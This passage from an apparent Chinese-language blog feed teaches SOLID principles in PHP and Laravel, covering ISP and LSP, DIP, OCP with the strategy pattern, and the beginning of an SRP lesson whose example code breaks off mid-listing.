        <span class="hljs-comment">// 這裡通常會丟例外，或留空，這違反了 LSP</span>
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Exception</span>(<span class="hljs-string">"Robot does not eat!"</span>); 
    }
}
</code></pre>
<h3 id="heading-isp-2">遵守 ISP 的修正</h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Workable</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">work</span>(<span class="hljs-params"></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Feedable</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">eat</span>(<span class="hljs-params"></span>)</span>;
}

<span class="hljs-comment">// 人類：既能工作也能吃</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HumanWorker</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Workable</span>, <span class="hljs-title">Feedable</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">work</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/*...*/</span> }
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">eat</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/*...*/</span> }
}

<span class="hljs-comment">// 機器人：只能工作</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RobotWorker</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Workable</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">work</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/*...*/</span> }
}
</code></pre>
<h2 id="heading-6koc5ywf6kqq5pioic0g5pit5re35reg5qac5b1">補充說明 - 易混淆概念</h2>
<p>還記得上面我們用於解決LSP的手法嗎？絕大多數因「介面過大」導致違反 LSP，解決方案正是 ISP。</p>
<p>LSP 是我們想要的「結果」，而 ISP 常常是達成這個結果的「方式」。</p>
<p>雖然 ISP 是解決 LSP 常見問題的解藥，但 LSP 的範圍比 ISP 更廣。有些 違反LSP的情況 ，不是靠拆分介面就能解決的。</p>
<h3 id="heading-isp-lsp">範例：遵守 ISP 但違反 LSP</h3>
<p>假設我們有一個銀行帳戶類別</p>
<pre><code class="lang-php"><span class="hljs-comment">// 介面很乾淨，只有一個方法，完全符合 ISP</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Account</span> </span>{
    <span class="hljs-comment">/**
     * <span class="hljs-doctag">@return</span> float 剩餘餘額 (保證大於等於 0)
     */</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>): <span class="hljs-title">float</span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NormalAccount</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Account</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>): <span class="hljs-title">float</span> </span>{
        <span class="hljs-comment">// 正常的提款邏輯</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;balance - $amount;
    }
}

<span class="hljs-comment">// 這個子類別也實作了同樣的介面，結構上沒問題</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">VipAccount</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">NormalAccount</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>): <span class="hljs-title">float</span> </span>{
        <span class="hljs-comment">// 💥 違反 LSP！</span>
        <span class="hljs-comment">// 父類別/介面承諾餘額 &gt;= 0，但 VIP 可以透支</span>
        <span class="hljs-comment">// 這改變了行為的「後置條件 (Postcondition)」</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;balance - $amount; <span class="hljs-comment">// 可能回傳負數</span>
    }
}
</code></pre>
<p><strong>分析</strong></p>
<ol>
<li><p>ISP 沒問題：介面沒有多餘的方法，<code>withdraw</code> 是大家都需要的。</p>
</li>
<li><p>LSP 違反了：<code>VipAccount</code> 的行為破壞了 <code>Account</code> 的隱性契約（餘額不能為負）。呼叫端如果預期餘額永遠是正的，程式就會出錯。</p>
</li>
</ol>
<h3 id="heading-57wq6kqe">結語</h3>
<p>違反 ISP 高機率導致 違反 LSP</p>
<ul>
<li><p>因為 ISP 造成了「胖介面」，強迫子類別去實作它做不到（或不該做）的方法。</p>
</li>
<li><p>結果：子類別被迫「造假」或「罷工」：</p>
<ol>
<li><p>丟出例外 (<code>throw NotImplementedException</code>)</p>
</li>
<li><p>空實作 (方法裡什麼都不寫) 。</p>
</li>
</ol>
</li>
</ul>
<p>但違反 LSP 不一定違反 ISP</p>
<ul>
<li>介面可能設計得非常完美、非常精簡（完全符合 ISP），但子類別的「實作邏輯」<strong>或是</strong>「繼承關係」本身就是錯的。</li>
</ul>
<h1 id="heading-dip">關於DIP</h1>
<p>這就是SOLID的大魔王了，我都有點懷疑SOLID的順序是不是依照難易度排下來了。</p>
<p>DIP , Dependency inversion principle，依賴反轉原則。</p>
<h2 id="heading-5lua6bq85piv5l6d6lo05yn6l2j5y6f5ymh77yf">什麼是依賴反轉原則？</h2>
<p>DIP 有兩個繞口令的定義：</p>
<ol>
<li><p>高層模組不應該依賴低層模組，兩者都應該依賴於抽象。</p>
</li>
<li><p>抽象不應該依賴於細節，細節應該依賴於抽象。</p>
</li>
</ol>
<p>嗯…..是中文，但不懂…，還記得在L15有偷偷提到DIP嗎？那時候有提到：</p>
<p>DI 的核心原則是「依賴反轉 (DIP)」，「不要自己造工具，讓別人把工具傳進去。」</p>
<h3 id="heading-6icb6zeg6iih5zoh5bel55qe6zec5lc">老闆與員工的關係</h3>
<p>我們來看看一個生活化的比喻</p>
<p>沒有DIP：</p>
<p>老闆 想要做漢堡，老闆教員工A做漢堡，員工A離職，漢堡店陷入火海。</p>
<p>有DIP：</p>
<p>老闆 想要做漢堡，老闆製作了SOP，員工A針對SOP學會如何做漢堡，員工A離職，老闆找了員工B，員工B繼續快樂做漢堡。</p>
<h2 id="heading-54k65lua6bq85yric0g5yn6l2j">為什麼叫 - 反轉</h2>
<p>這裡我們就用L15的 <code>OrderService</code> 範例來進行說明，到底Inversion在哪裡</p>
<ol>
<li><p><strong>正常控制流</strong>：<code>OrderService</code> 呼叫 <code>GmailSender</code>。 (上 -&gt; 下)</p>
</li>
<li><p><strong>傳統依賴關係</strong>：<code>OrderService use GmailSender</code>。 (上 -&gt; 下)</p>
</li>
<li><p>DIP 依賴關係：</p>
<ol>
<li><p><code>OrderService</code> 依賴 <code>MailerInterface</code>。 (上 -&gt; 介面)</p>
</li>
<li><p><code>GmailSender</code>依賴 <code>MailerInterface</code>。 (下 -&gt; 介面)</p>
</li>
<li><p>依賴的箭頭方向，從「指向下方」變成了「指向介面」。</p>
</li>
</ol>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766480994792/20624c70-378b-4483-8046-9c3714d2e697.png" alt="反轉方向說明" class="image--center mx-auto" /></p>
<h2 id="heading-6koc5ywf6kqq5pioic0g5pit5re35reg5qac5b1-1">補充說明 - 易混淆概念</h2>
<h3 id="heading-5l6d6lo05roo5ywl6iih5l6d6lo05yn6l2j55qe6zec6igv">依賴注入與依賴反轉的關聯</h3>
<p>依賴反轉是一個概念，而依賴注入是一種實作手法。</p>
<p>依賴反轉關心的是：類別之間的依賴與方向關係</p>
<p>依賴注入關心的是：物件如何被建立與賦值</p>
<h3 id="heading-di-dip">有 DI 不代表有 DIP</h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span> </span>{
    <span class="hljs-comment">// 這裡依賴的是「具體」的 GmailService 類別</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">GmailService $mailer</span>) </span>{
        <span class="hljs-keyword">$this</span>-&gt;mailer = $mailer;
    }
}
</code></pre>
<p>Q：是不是 DI？</p>
<p>A：是，因為 GmailService 是注入進去，沒有在裡面 new。</p>
<p>Q：是不是 DIP？</p>
<p>A：不是，因為 OrderService (高層) 依然死死地依賴著 GmailService (低層實作)。如果 Gmail 換掉，OrderService 還是要改程式碼。依賴關係沒有「反轉」，箭頭還是從上指到下。</p>
<h3 id="heading-di-dip-1">有 DI，也有 DIP</h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span> </span>{
    <span class="hljs-comment">// 這裡依賴的是「抽象」的 MailerInterface</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">MailerInterface $mailer</span>) </span>{
        <span class="hljs-keyword">$this</span>-&gt;mailer = $mailer;
    }
}
</code></pre>
<p>Q：是不是 DI？</p>
<p>A：是，因為 GmailService 是注入進去，沒有在裡面 new。</p>
<p>Q：是不是 DIP？</p>
<p>A：是，<code>OrderService</code> 現在只依賴介面。依賴的箭頭現在指向了 <code>MailerInterface</code> (抽象)，達成了依賴反轉。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 17: SOLID 實戰篇 (2)-開放封閉 (OCP) - 擁抱變化而不修改舊碼]]></title><description><![CDATA[接下來我們來講講SOLID的O - OCP，開放封閉原則。
核心觀念定義
如果說 SRP 是為了整理程式碼，那麼 OCP 就是為了保護程式碼。它是防止「新需求搞壞舊功能」的最強盾牌。

“Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.” — Bertrand Meyer

「軟體實體應該對『擴充』開放，但對『修改』封閉。...]]></description><link>https://blog.bennett1999.com/solid-ocp</link><guid isPermaLink="true">https://blog.bennett1999.com/solid-ocp</guid><category><![CDATA[OCP]]></category><category><![CDATA[SOLID principles]]></category><category><![CDATA[oop]]></category><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Sun, 21 Dec 2025 07:34:07 GMT</pubDate><content:encoded><![CDATA[<p>接下來我們來講講SOLID的O - OCP，開放封閉原則。</p>
<h1 id="heading-5qc45bd6kea5b15a6a576p">核心觀念定義</h1>
<p>如果說 SRP 是為了整理程式碼，那麼 OCP 就是為了保護程式碼。它是防止「新需求搞壞舊功能」的最強盾牌。</p>
<blockquote>
<p>“Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.” — Bertrand Meyer</p>
</blockquote>
<p>「軟體實體應該對『擴充』開放，但對『修改』封閉。」，</p>
<p>這句話聽起來很矛盾：要能擴充功能，卻不能修改程式碼？ 其實它的意思是：當需求改變時，你應該透過「增加新的程式碼 (Class)」來擴充功能，而不是去「修改原本已經運作良好的程式碼」。</p>
<ul>
<li><p><strong>Open for Extension:</strong> 當有新需求（例如新的折扣活動），我們可以輕鬆加入。</p>
</li>
<li><p><strong>Closed for Modification:</strong> 加入新需求時，原本負責計算金額的核心邏輯不需要被改動（避免 Regression Bug）。</p>
</li>
</ul>
<p>OCP 關心的不是「現在怎麼寫最乾淨」，而是「未來需求出現時，哪裡不該被打開來改」。</p>
<p><strong>核心手段：</strong> 多型 (Polymorphism) 與 介面 (Interface)。</p>
<h1 id="heading-56e5l6l">範例</h1>
<p>還記得上一堂課 SRP 我們拆分出來的 <code>PriceCalculator</code> 嗎？ 假設行銷部今天提出了多種折扣方案：</p>
<ol>
<li><p><strong>一般會員</strong>：無折扣。</p>
</li>
<li><p><strong>VIP 會員</strong>：打 9 折。</p>
</li>
<li><p><strong>超級會員 (Super VIP)</strong>：打 8 折。</p>
</li>
<li><p><strong>(未來可能還有聖誕節、週年慶...)</strong></p>
</li>
</ol>
<h2 id="heading-ocp">違反 OCP 的寫法</h2>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PriceCalculator</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateTotal</span>(<span class="hljs-params"><span class="hljs-keyword">array</span> $orderData, <span class="hljs-keyword">string</span> $memberType</span>): <span class="hljs-title">float</span>
    </span>{
        $total = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">foreach</span> ($orderData[<span class="hljs-string">'items'</span>] <span class="hljs-keyword">as</span> $item) {
            $total += $item[<span class="hljs-string">'price'</span>] * $item[<span class="hljs-string">'qty'</span>];
        }

        <span class="hljs-comment">// 違反 OCP 的重災區</span>
        <span class="hljs-keyword">if</span> ($memberType === <span class="hljs-string">'VIP'</span>) {
            $total = $total * <span class="hljs-number">0.9</span>;
        } <span class="hljs-keyword">elseif</span> ($memberType === <span class="hljs-string">'SuperVIP'</span>) {
            $total = $total * <span class="hljs-number">0.8</span>;
        } <span class="hljs-keyword">elseif</span> ($memberType === <span class="hljs-string">'Christmas'</span>) {
            <span class="hljs-comment">// 每次新增規則，都要回來改這個檔案！</span>
            $total = $total * <span class="hljs-number">0.95</span> - <span class="hljs-number">100</span>; 
        }

        <span class="hljs-keyword">return</span> $total;
    }
}
</code></pre>
<h2 id="heading-kirngrrku4dpurzpgjnmqkpkui3lpb3vvj8qkg"><strong>為什麼這樣不好？</strong></h2>
<p>每次行銷部想一個新花招，就要打開這個檔案修改。</p>
<ol>
<li><p>風險高：為了加「聖誕節折扣」，不小心手誤刪掉了 VIP 的邏輯，導致 VIP 用戶沒打折</p>
</li>
<li><p>難測試：這個函式的邏輯分支 (Cyclomatic Complexity) 越來越多，測試案例要寫非常多個才能覆蓋。</p>
</li>
</ol>
<h2 id="heading-strategy-pattern">重構實戰：策略模式 (Strategy Pattern)</h2>
<p>要實踐 OCP，最經典的設計模式就是 策略模式 (Strategy Pattern)。我們把「如何打折」這件事抽象化。</p>
<h3 id="heading-the-interface">步驟一：定義介面 (The Interface)</h3>
<p>我們先定義一個標準：所有的折扣規則都必須遵守這個合約。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">DiscountStrategy</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">apply</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $total</span>): <span class="hljs-title">float</span></span>;
}
</code></pre>
<h3 id="heading-concrete-classes">步驟二：實作具體策略 (Concrete Classes)</h3>
<p>針對每一種會員或活動，建立一個<strong>獨立的 Class</strong>。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NoDiscount</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">DiscountStrategy</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">apply</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $total</span>): <span class="hljs-title">float</span> 
    </span>{
        <span class="hljs-keyword">return</span> $total;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">VipDiscount</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">DiscountStrategy</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">apply</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $total</span>): <span class="hljs-title">float</span> 
    </span>{
        <span class="hljs-keyword">return</span> $total * <span class="hljs-number">0.9</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SuperVipDiscount</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">DiscountStrategy</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">apply</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $total</span>): <span class="hljs-title">float</span> 
    </span>{
        <span class="hljs-keyword">return</span> $total * <span class="hljs-number">0.8</span>;
    }
}

<span class="hljs-comment">// 新增需求：聖誕節折扣 (完全不需要碰上面那些寫好的 Class)</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ChristmasDiscount</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">DiscountStrategy</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">apply</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $total</span>): <span class="hljs-title">float</span>
    </span>{
        <span class="hljs-keyword">return</span> $total * <span class="hljs-number">0.95</span> - <span class="hljs-number">100</span>;
    }
}
</code></pre>
<h3 id="heading-calculator-client">重構 Calculator (Client)</h3>
<p>現在 <code>PriceCalculator</code> 不需要知道具體的折扣邏輯，它只依賴 <code>DiscountStrategy</code> 介面。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PriceCalculator</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateTotal</span>(<span class="hljs-params"><span class="hljs-keyword">array</span> $orderData, DiscountStrategy $discountStrategy</span>): <span class="hljs-title">float</span>
    </span>{
        $baseTotal = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">foreach</span> ($orderData[<span class="hljs-string">'items'</span>] <span class="hljs-keyword">as</span> $item) {
            $baseTotal += $item[<span class="hljs-string">'price'</span>] * $item[<span class="hljs-string">'qty'</span>];
        }

        <span class="hljs-comment">// 這裡就是 OCP 的精隨：</span>
        <span class="hljs-comment">// Calculator 不用改任何一行程式碼，就能支援無數種新的折扣方式。</span>
        <span class="hljs-keyword">return</span> $discountStrategy-&gt;apply($baseTotal);
    }
}
</code></pre>
<h3 id="heading-5aac5l2v5rg65a6a5l255so5zoq5ycl562w55wl77yf">如何決定使用哪個策略？</h3>
<p>可能會想問：「那誰來決定要丟 <code>VipDiscount</code> 還是 <code>ChristmasDiscount</code> 進去？」</p>
<p>通常這會由一個 <strong>Factory (工廠)</strong> 或是 <strong>Service Provider</strong> 層來決定。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DiscountFactory</span> 
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">make</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $memberType</span>): <span class="hljs-title">DiscountStrategy</span>
    </span>{
        <span class="hljs-keyword">return</span> match($memberType) {
            <span class="hljs-string">'VIP'</span> =&gt; <span class="hljs-keyword">new</span> VipDiscount(),
            <span class="hljs-string">'SuperVIP'</span> =&gt; <span class="hljs-keyword">new</span> SuperVipDiscount(),
            <span class="hljs-string">'Christmas'</span> =&gt; <span class="hljs-keyword">new</span> ChristmasDiscount(),
            <span class="hljs-keyword">default</span> =&gt; <span class="hljs-keyword">new</span> NoDiscount(),
        };
    }
}
</code></pre>
<p>雖然 Factory 內部還是用了 <code>match</code> ，但我們把「判斷」隔離在 Factory 裡，保護了核心業務邏輯 (<code>PriceCalculator</code>) 不受汙染。OCP 並不是要求系統中「完全沒有條件判斷」，而是將「容易變動的判斷」集中並隔離。</p>
<h3 id="heading-5ycl5lq66zal55m857at6amx5yig5lqr">個人開發經驗分享</h3>
<blockquote>
<p>以下是進階實務示範，目的是說明在大型系統中，如何進一步降低 Factory 本身的修改頻率。</p>
</blockquote>
<p>工廠的一個小缺點：工廠本身還是需要知道「字串」與「類別」的對應關係（即 <code>match</code> 裡面的那些字串）。我們可以如何運用達到更極致的OCP？</p>
<p>在前陣子的專案中，我也剛好使用了策略模式來處理支援多種登入的方式。</p>
<p>我先使用Provider的概念，將實作於Interface的服務做綁定，並使用Resolver來應對動態選擇器的概念。</p>
<p>範例：</p>
<p><strong>Provider</strong></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Providers</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">Login</span>\<span class="hljs-title">MagicLoginService</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Support</span>\<span class="hljs-title">ServiceProvider</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">Login</span>\<span class="hljs-title">TraditionalLoginService</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">Login</span>\<span class="hljs-title">GoogleLoginService</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">Login</span>\<span class="hljs-title">AppleLoginService</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LoginStrategyServiceProvider</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">ServiceProvider</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">register</span>(<span class="hljs-params"></span>): <span class="hljs-title">void</span>
    </span>{
        <span class="hljs-comment">// 解析 "iterable LoginStrategyInterface"</span>
        <span class="hljs-keyword">$this</span>-&gt;app-&gt;bind(<span class="hljs-string">'login_strategies'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">$app</span>) </span>{
            <span class="hljs-keyword">return</span> [
                $app-&gt;make(TraditionalLoginService::class),
                $app-&gt;make(GoogleLoginService::class),
                $app-&gt;make(AppleLoginService::class),
                $app-&gt;make(MagicLoginService::class),
            ];
        });

        <span class="hljs-keyword">$this</span>-&gt;app-&gt;singleton(\App\Services\Login\LoginStrategyResolver::class, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">$app</span>) </span>{
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> \App\Services\Login\LoginStrategyResolver($app-&gt;make(<span class="hljs-string">'login_strategies'</span>));
        });
    }
}
</code></pre>
<p><strong>Resolver</strong></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
<span class="hljs-comment">// app/Services/Login/LoginStrategyResolver.php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">Login</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">Contracts</span>\<span class="hljs-title">LoginStrategyInterface</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">InvalidArgumentException</span>;

readonly <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LoginStrategyResolver</span>
</span>{
    <span class="hljs-comment">/**
     * <span class="hljs-doctag">@param</span> LoginStrategyInterface[] $strategies
     */</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">
        <span class="hljs-keyword">private</span> <span class="hljs-keyword">iterable</span> $strategies
    </span>) </span>{}

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">resolve</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $provider</span>): <span class="hljs-title">LoginStrategyInterface</span>
    </span>{
        <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>-&gt;strategies <span class="hljs-keyword">as</span> $strategy) {
            <span class="hljs-keyword">if</span> ($strategy-&gt;supports($provider)) {
                <span class="hljs-keyword">return</span> $strategy;
            }
        }

        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">InvalidArgumentException</span>(<span class="hljs-string">"Unsupported login provider: <span class="hljs-subst">{$provider}</span>"</span>);
    }
}
</code></pre>
<h1 id="heading-laravel-ocp">Laravel 中的 OCP 應用</h1>
<p>身為 Laravel 開發者，其實很多地方都有使用 OCP，只是可能沒意識到：</p>
<ol>
<li><p>Middleware (中介層)： Laravel 的 Pipeline 設計就是 OCP。當你想要增加一個「檢查 IP」的功能，你不需要去改核心 Request 處理流程，只需要寫一個新的 Middleware 並掛載上去。</p>
</li>
<li><p>Drivers (驅動)： <code>Cache</code>, <code>Session</code>, <code>Filesystem</code> 都是 OCP。 如果你想把 Cache 從 Redis 換成 Memcached，或者甚至換成你自己寫的 Database 儲存，你不需要去改 Laravel 的核心程式碼，只要實作合約並設定 Config 即可。</p>
</li>
</ol>
<h1 id="heading-57wq6kqe">結語</h1>
<p>OCP 並不代表要預先為「所有可能的需求」設計抽象，而是當「變動方向已明確出現」時，再引入抽象保護核心。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 16: SOLID 實戰篇 (1)-單一職責 (SRP) 與 高內聚]]></title><description><![CDATA[接下來我們要進到SOLID的實戰，這堂課我們將專注於最基礎、但也最重要的第一條原則：SRP (單一職責原則)，並探討它與 高內聚 (High Cohesion) 的緊密關係。
核心觀念定義
關於單一職責原則

"A class should have one, and only one, reason to change." — Robert C. Martin (Uncle Bob)

「一個類別應該只有一個『改變的理由』。」
很多人誤以為 SRP 意思是「一個類別只做一件事 (Do one ...]]></description><link>https://blog.bennett1999.com/solid-srp</link><guid isPermaLink="true">https://blog.bennett1999.com/solid-srp</guid><category><![CDATA[High cohesion]]></category><category><![CDATA[SOLID principles]]></category><category><![CDATA[SRP]]></category><category><![CDATA[PHP]]></category><category><![CDATA[software development]]></category><category><![CDATA[backend]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Sun, 21 Dec 2025 06:31:13 GMT</pubDate><content:encoded><![CDATA[<p>接下來我們要進到SOLID的實戰，這堂課我們將專注於最基礎、但也最重要的第一條原則：<strong>SRP (單一職責原則)</strong>，並探討它與 <strong>高內聚 (High Cohesion)</strong> 的緊密關係。</p>
<h1 id="heading-5qc45bd6kea5b15a6a576p">核心觀念定義</h1>
<h2 id="heading-6zec5pa85zau5lia6ig36lks5y6f5ymh">關於單一職責原則</h2>
<blockquote>
<p>"A class should have one, and only one, reason to change." — Robert C. Martin (Uncle Bob)</p>
</blockquote>
<p>「一個類別應該只有一個『改變的理由』。」</p>
<p>很多人誤以為 SRP 意思是「一個類別只做一件事 (Do one thing)」，這其實不完全精確。更準確的說法是：一個類別應該只負責「一類」業務邏輯，並且只對「一種」角色負責。</p>
<ul>
<li><p>如果會計部門要求修改薪資計算邏輯，你不應該動到負責「資料庫存取」的程式碼。</p>
</li>
<li><p>如果 DBA 要求更換資料庫欄位，你不應該動到負責「生成報表」的程式碼。</p>
</li>
</ul>
<p>SRP 的核心不是「功能數量」，而是「變更來源是否單一」。</p>
<h2 id="heading-6zec5pa86auy5ywn6iga">關於高內聚</h2>
<p>內聚是指模組內的元素（屬性、方法）彼此之間的關聯程度。</p>
<ul>
<li><p>高內聚： 類別內的程式碼都是為了完成同一個目的而緊密協作的。</p>
</li>
<li><p>低內聚： 類別像是一個大雜燴，裡面放了毫不相關的功能（例如：一個類別同時負責算數學、寄 Email 和連線資料庫）。</p>
</li>
</ul>
<h3 id="heading-srp">SRP 與高內聚的關係</h3>
<p>遵守 SRP 的類別，自然會傾向於高內聚；因為你把不相關的東西拆出去了，剩下的都是高度相關的。</p>
<h1 id="heading-5yn6z2i56e5l6lic0g5lik5bid54mp5lu2">反面範例 - 上帝物件</h1>
<p>讓我們看一個後端常見的「壞味道」範例。這是一個負責處理訂單的 Service，但它管得太寬了。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">placeOrder</span>(<span class="hljs-params">$orderData</span>)
    </span>{
        <span class="hljs-comment">// 1. 驗證邏輯 (責任：資料正確性)</span>
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($orderData[<span class="hljs-string">'items'</span>])) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Exception</span>(<span class="hljs-string">"Order must have items."</span>);
        }

        <span class="hljs-comment">// 2. 計算邏輯 (責任：業務規則)</span>
        $total = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">foreach</span> ($orderData[<span class="hljs-string">'items'</span>] <span class="hljs-keyword">as</span> $item) {
            $total += $item[<span class="hljs-string">'price'</span>] * $item[<span class="hljs-string">'qty'</span>];
        }
        <span class="hljs-keyword">if</span> ($total &gt; <span class="hljs-number">1000</span>) { <span class="hljs-comment">// 滿千送百邏輯</span>
            $total -= <span class="hljs-number">100</span>;
        }

        <span class="hljs-comment">// 3. 資料庫邏輯</span>
        $db = <span class="hljs-keyword">new</span> Database();
        $db-&gt;query(<span class="hljs-string">"INSERT INTO orders ..."</span>);

        <span class="hljs-comment">// 4. 通知邏輯 </span>
        $mailer = <span class="hljs-keyword">new</span> Mailer();
